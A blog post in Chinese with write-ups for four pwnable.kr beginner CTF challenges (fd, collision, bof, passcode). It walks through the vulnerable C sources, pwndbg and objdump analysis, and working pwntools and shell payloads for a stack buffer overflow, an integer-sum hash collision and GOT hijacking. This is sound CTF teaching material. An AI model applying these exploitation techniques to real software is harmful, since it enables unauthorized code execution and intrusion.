pwnable.kr [Toddler's Bottle I]

Albert Huang MED student | CS enthusiast

fd

連線到機器之後發現有三個檔案:

1
2
3
4
fd@ubuntu:~$ ls
fd fd.c flag
col@ubuntu:~$ cat flag
cat: flag: Permission denied

直接讀 flag 會發現沒有權限,來觀察一下 fd.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
setregid(getegid(), getegid());
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;

}

分段來看一下 code:

1
2
3
4
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}

這段表示我們需要在使用這個 fd 檔案時,給一個數字的參數。

1
2
3
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);

這段 code 會把我們給的參數利用 atoi() 將字串直接轉為數字後,減去 0x1234,再送到屬於 system call 的 read() 函式裡面做為第一個參數,我們來查一下 read() 函數的參數內容:

https://x64.syscall.sh/

1
2
3
4
5
6
7
ssize_t read(size_t count;
int fd, void buf[count], size_t count);

* fd
* 0: stdin
* 1: stdout
* 2: stderr

接下來看第三段 code:

1
2
3
4
5
6
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
setregid(getegid(), getegid());
system("/bin/cat flag");
exit(0);
}

我們需要讓 read() 函數中的 buf 的值為 LETMEWIN\n,所以我們需要的是 stdin 來讀入值,也就是將 fd 設為 0。而因此我們輸入的參數減去 0x1234 必須為 0,可推得我們的輸入必須為 0x1234 = 4660。

1
2
3
4
fd@ubuntu:~$ ./fd 4660
LETMEWIN
good job :)
[REDACTED]

collision

連到機器之後來看一下檔案內容:

1
2
3
4
col@ubuntu:~$ ls
col col.c flag
col@ubuntu:~$ cat flag
cat: flag: Permission denied

來看一下 col.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}

int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}

if(hashcode == check_password( argv[1] )){
setregid(getegid(), getegid());
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}

可以發現它讀入了一個 20 bytes 的 passcode,並且利用 check_password 這個函數產出的數值與 hashcode 做比對,來分析一下 check_password 的行為:

1
2
3
4
5
6
7
8
9
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}

首先它會先將我們給的參數作為字串(字元陣列)讀入,接著在第二行時強制將她轉為 int(4 bytes)的整數陣列並存入 ip 中,接著將陣列中的所有值全部相加後傳回。而又知道我們的 hashcode = 0x21DD09EC,因此只要將相加為 hashcode 的 5 個數以 bytes 的形式輸入即可過關。

以下用 Python 稍微計算一下:

1
2
3
4
5
6
7
8
9
>>> hashcode = 0x21DD09EC
>>> hashcode / 5
113626824.8
>>> a = 113626824
>>> a.to_bytes(4, "little")
b'\xc8\xce\xc5\x06'
>>> b = hashcode - a*4
>>> b.to_bytes(4, "little")
b'\xcc\xce\xc5\x06'

因此我們的 payload 即為 \xc8\xce\xc5\x06 * 4 + \xcc\xce\xc5\x06,可以使用 python 送出:

1
2
3
4
col@ubuntu:~$ ./col `python2 -c "print('\xc8\xce\xc5\x06' * 4 + '\xcc\xce\xc5\x06')"`
[REDACTED]
col@ubuntu:~$ ./col $(python3 -c "import sys; sys.stdout.buffer.write(b'\xc8\xce\xc5\x06' * 4 + b'\xcc\xce\xc5\x06')")
[REDACTED]

因為 Python3 自動轉碼的關係,直接使用 print 只有在 Python2 適用,Python3 必須使用 sys.stdout.buffer.write 來避免自動轉碼

bof

連到題目之後來看一下檔案內容:

1
2
3
4
bof@ubuntu:~$ ls
bof bof.c readme
bof@ubuntu:~$ cat readme
bof binary is running at "nc 0 9000" under bof_pwn privilege. get shell and read flag

他說 bof 的 binary 跑在 nc 0 9000 上,我們需要拿到 shell 才能讀 flag,所以來看一下它的 bof.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
setregid(getegid(), getegid());
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}

很明顯是個 buffer overflow 的題目,必須把原先 function 的參數 0xdeadbeef 改為 0xcafebabe,先用 scp 把檔案載到本機上方便分析:

1
2
3
$ scp -P 2222 bof@pwnable.kr:/home/bof/bof ./
bof@pwnable.kr's password:
bof 100% 15KB 33.9KB/s 00:00

使用 pwndbg 分析:

  1. 使用 cyclic 建立 payload,並使用 starti 將程式跑起來。
1
2
pwndbg> cyclic 100
pwndbg> starti
  1. 觀察一下 func 的內容。
1
2
3
4
5
pwndbg> disassemble func
...
0x56556234 <+55>: call 0x56556060 <gets@plt>
0x56556239 <+60>: add esp,0x10
0x5655623c <+63>: cmp DWORD PTR [ebp+0x8],0xcafebabe
  • 可知:
    • 比較的位址在 0x5655623c
    • key 的儲存暫存器位置在 ebp+0x8
  1. 將斷點設在呼叫 gets 的位置,並將第二個斷點設在 0x5655623c,避免 overflow 完之後直接跳到 smash stack 讓儲存內容被洗掉,然後用 run 將程式跑起來。接著 nexti 一次之後,會出現 overflow me :。
1
2
3
4
5
6
pwndbg> b *0x56556234
pwndbg> b *0x5655623c
pwndbg> r
pwndbg> ni
...
overflow me :
  1. 輸入 cyclic 剛剛產生的 payload,按下 Enter 後會自動斷在第二個斷點,查看 key 也就是 ebp+0x8 位置的值並且用 cyclic 計算偏移量,即可獲得應該要蓋掉的 bytes 數。
1
2
3
4
pwndbg> x/wx $ebp+8
pwndbg> cyclic -l 0x6161616e
Finding cyclic pattern of 4 bytes: b'naaa' (hex: 0x6e616161)
Found at offset 52

拿到 offset 之後即可拿來寫 exploit,使用 Python 實作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

"""
$ checksec bof
[*] '/mnt/c/Users/USER/Downloads/bof'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
"""

# r = process('./bof')
r = remote('localhost', 9000)
r.sendline(b'A' * 52 + p32(0xcafebabe))

r.interactive()

因為它的服務跑在 bof 本地,因此要用 ssh 轉送 port 之後才能在本機存取,指令如下:

1
$ ssh -L 9000:127.0.0.1:9000 bof@pwnable.kr -p 2222

執行後在另一個視窗執行 exploit 即可讀取 flag。

1
2
3
4
5
6
7
8
9
10
11
12
$ python3 test.py
[+] Opening connection to localhost on port 9000: Done
[*] Switching to interactive mode
$ ls
bof
bof.c
bof.c.save
flag
log
super.pl
$ cat flag
[REDACTED]

passcode

連到機器之後來看一下檔案內容:

1
2
3
4
passcode@ubuntu:~$ ls
flag passcode passcode.c
passcode@ubuntu:~$ cat flag
cat: flag: Permission denied

沒有權限,來看一下 passcode.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <stdlib.h>

void login(){
int passcode1;
int passcode2;

printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);

// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);

printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
setregid(getegid(), getegid());
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}

void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}

int main(){
printf("Toddler's Secure Login System 1.1 beta.\n");

welcome();
login();

// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}

乍看之下會覺得只要輸入正確的數字就可以過關,但可惜的是,沒有這麼簡單。首先可以發現的最大弱點是 scanf() 的使用。

在輸入為一般變數時,應該使用 & 來給予要存入的記憶體位址作為參數,而非直接將變數放入 scanf() 中,如下所示:

1
2
scanf("%d", passcode1); -> scanf("%d", &passcode1);
scanf("%d", passcode2); -> scanf("%d", &passcode2);

如此才是正確的表示法。不過在存取整個陣列時,它會選擇指向陣列的第一個位址 &name[0](型態為 char*) 開始進行輸入,因此輸入時不需要使用 & 來取得位址,所以下列狀態是正確的:

1
scanf("%100s", name);

釐清這點之後,接下來可以觀察到第二點不尋常的舉動是 fflush(stdin),這個用法在 C 語言中是屬於未定義行為,雖然目前不是什麼大漏洞,但之後可能可以幫助我們解題。

將檔案傳輸到本地方便分析:

1
2
3
$ scp -P 2222 passcode@pwnable.kr:/home/passcode/passcode ./
passcode@pwnable.kr's password:
passcode 100% 15KB 34.1KB/s 00:00

使用 objdump 觀察一下 login 與 welcome 的組合語言內容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ objdump -M intel -d passcode
...
080491f6 <login>:
...
804921e: ff 75 f0 push DWORD PTR [ebp-0x10]
8049221: 8d 83 1b e0 ff ff lea eax,[ebx-0x1fe5]
8049227: 50 push eax
8049228: e8 a3 fe ff ff call 80490d0 <__isoc99_scanf@plt>
...
8049259: ff 75 f4 push DWORD PTR [ebp-0xc]
804925c: 8d 83 1b e0 ff ff lea eax,[ebx-0x1fe5]
8049262: 50 push eax
8049263: e8 68 fe ff ff call 80490d0 <__isoc99_scanf@plt>
...
080492f2 <welcome>:
...
8049324: 8d 45 90 lea eax,[ebp-0x70]
8049327: 50 push eax
8049328: 8d 83 75 e0 ff ff lea eax,[ebx-0x1f8b]
804932e: 50 push eax
804932f: e8 9c fd ff ff call 80490d0 <__isoc99_scanf@plt>
  • 可知:
    • password1 儲存在 ebp-0x10,而 password2 則是 ebp-0xc
    • name 儲存在 ebp-0x70

透過以上的資訊,可知 name 與 passcode1 的儲存空間距離為 0x70 - 0x10 = 0x60 = 96,但我們可以在 name 中輸入 100 個字元,因此我們可以透過 welcome 中的輸入控制到 passcode 的內容。

結合剛剛我們發現無意義的 fflush(stdin),我們可以使用 GOT hijacking 的攻擊方法,在 welcome 輸入時寫入 fflush() 的 GOT 位址,讓 login 函數在使用 scanf() 時取用到的是 fflush() 的 GOT 位址,我們就可以在那個位址寫入我們希望它跳到的位址(讀取 flag 的指令位址),並且在下一行執行 fflush(stdin) 時跳轉到我們指定的位址開始執行。

使用 readelf 確定 fflush 在 GOT 表的位址:

1
2
3
4
$ readelf -a passcode | grep fflush
0804c014 00000307 R_386_JUMP_SLOT 00000000 fflush@GLIBC_2.0
3: 00000000 0 FUNC GLOBAL DEFAULT UND fflush@GLIBC_2.0 (3)
22: 00000000 0 FUNC GLOBAL DEFAULT UND fflush@GLIBC_2.0

使用 objdump 確認獲取 flag 的執行位址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ objdump -M intel -d passcode
...
804929e: 83 c4 10 add esp,0x10
80492a1: e8 da fd ff ff call 8049080 <getegid@plt>
80492a6: 89 c6 mov esi,eax
80492a8: e8 d3 fd ff ff call 8049080 <getegid@plt>
80492ad: 83 ec 08 sub esp,0x8
80492b0: 56 push esi
80492b1: 50 push eax
80492b2: e8 09 fe ff ff call 80490c0 <setregid@plt>
80492b7: 83 c4 10 add esp,0x10
80492ba: 83 ec 0c sub esp,0xc
80492bd: 8d 83 47 e0 ff ff lea eax,[ebx-0x1fb9]
80492c3: 50 push eax
80492c4: e8 d7 fd ff ff call 80490a0 <system@plt>

特別注意我們要有足夠的權限才能讀取 flag,所以至少要從 setregid(getegid(), getegid()); 的地方開始執行才能拿到 flag

確認完成後即可使用 Python 實作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

"""
$ checksec passcode
[*] '/mnt/c/Users/USER/Downloads/passcode'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
"""

fflush_got_addr = 0x0804c014
flag_addr = 0x804929e

payload = b'A' * 96 + p32(fflush_got_addr) + str(flag_addr).encode()

print(payload)

特別注意 scanf 讀取為 %d,因此要直接給予數字,而非 bytes

拿到 payload 後到機器上送出 payload 即可:

1
2
3
4
5
passcode@ubuntu:~$ echo `python2 -c "print b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x14\xc0\x04\x08134517406'"` | ./passcode
Toddler's Secure Login System 1.1 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
[REDACTED]
enter passcode1 : Now I can safely trust you that you have credential :)
  • Title: pwnable.kr [Toddler's Bottle I]
  • Author: Albert Huang
  • Created at : 2026-09-06 09:17:41
  • Updated at : 2026-09-09 21:35:05
  • Link: https://blog.albert-web.tw/2026/09/06/pwnable-kr-writeup-1/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
pwnable.kr [Toddler's Bottle I]